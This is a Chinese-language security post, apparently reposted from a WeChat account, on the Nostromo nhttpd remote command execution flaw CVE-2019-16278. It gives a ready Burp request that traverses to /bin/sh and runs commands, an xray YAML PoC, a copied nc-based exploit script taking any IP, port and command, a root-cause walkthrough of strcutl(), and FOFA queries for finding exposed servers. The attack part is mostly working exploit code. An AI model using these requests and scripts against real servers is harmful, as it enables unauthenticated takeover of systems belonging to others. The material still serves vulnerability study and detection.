(1)漏洞描述:
Nostromo web server(nhttpd)是一款开源的Web服务器。Nostromo由于在验证URL安全性方面存在缺陷,导致目录穿越,任何人都可以遍历系统中任何文件。因此未经过身份验证的远程攻击者可以强制服务器指向/bin/sh这样的shell文件,借此执行任意命令。
影响版本:nhttpd:version <= 1.9.6
(2)burp-POC:
POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 17 Apr 2020 09:45:11 GMT
Priority: u=0, i
Content-Length: 25
echo
echo
ifconfig 2>&1
(3)编写xray-poc并验证:
name: poc-yaml-nostromo-directory-rce
manual: true
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /.%0d./.%0d./.%0d./.%0d./bin/sh
headers:
multipart/form-data;boundary=----WebKitFormBoundaryUr8laykKAWws2QO :
body: |-
echo
echo
ifconfig 2>&1
follow_redirects: false
expression: response.status == 200
expression: r0()
detail:
author: sz
(4)网上poc:
使用命令:
./cve-2019-16278.sh [ip] [port] 命令
HOST="$1"
PORT="$2"
shift 2
(
echo -n -e 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0rn';
echo -n -e 'Content-Length: 1rnrnechonechon';
echo "$@ 2>&1"
) | nc "$HOST" "$PORT"
| sed --quiet --expression ':S;/^r$/{n;bP};n;bS;:P;n;p;bP'
(5)漏洞原理:
源码下载链接:http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz
首先,服务器会验证请求然后处理它。
在上图的函数http_verify()
中,请求的首行会先进行解码,然后检查/../
是否存在。注意,此时攻击请求的首行包含/.r./.r./.r./.r./bin/sh
。
-
检查
header
字符串是否包含子串"/../"
,这是目录遍历攻击的常用模式。 -
如果找到了这个子串,就会执行花括号内的代码。
接下来,函数http_proc()
会将首行传递给函数http_header()
。
漏洞根源就在这,函数http_header()
会通过函数strcutl()
解析数据。
而在函数strcutl()
的内部,你可以看到它会把字符串中的r(回车)去除。
最后,得到的路径是/../../../../bin/sh
。那么,目录穿越完成,命令执行如何进行呢?在函数http_proc()
中的execve()
函数(用于执行指定程序)中,它执行了rh->rq_filef
,这正是路径过滤后的结果/../../../../bin/sh
。
-
这一行检查当前字符是否不等于回车符(
r
)。 -
如果当前字符不是回车符,则将其复制到目标缓冲区
dst
中。
于是,我们就得到了一个可导致RCE的目录穿越!
(6)资产搜索:
fofa语法:
"Server: nostromo"
icon_hash="-587741716"
原文始发于微信公众号(帅ZI学安全):nostromo 远程命令执行 (CVE-2019-16278)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论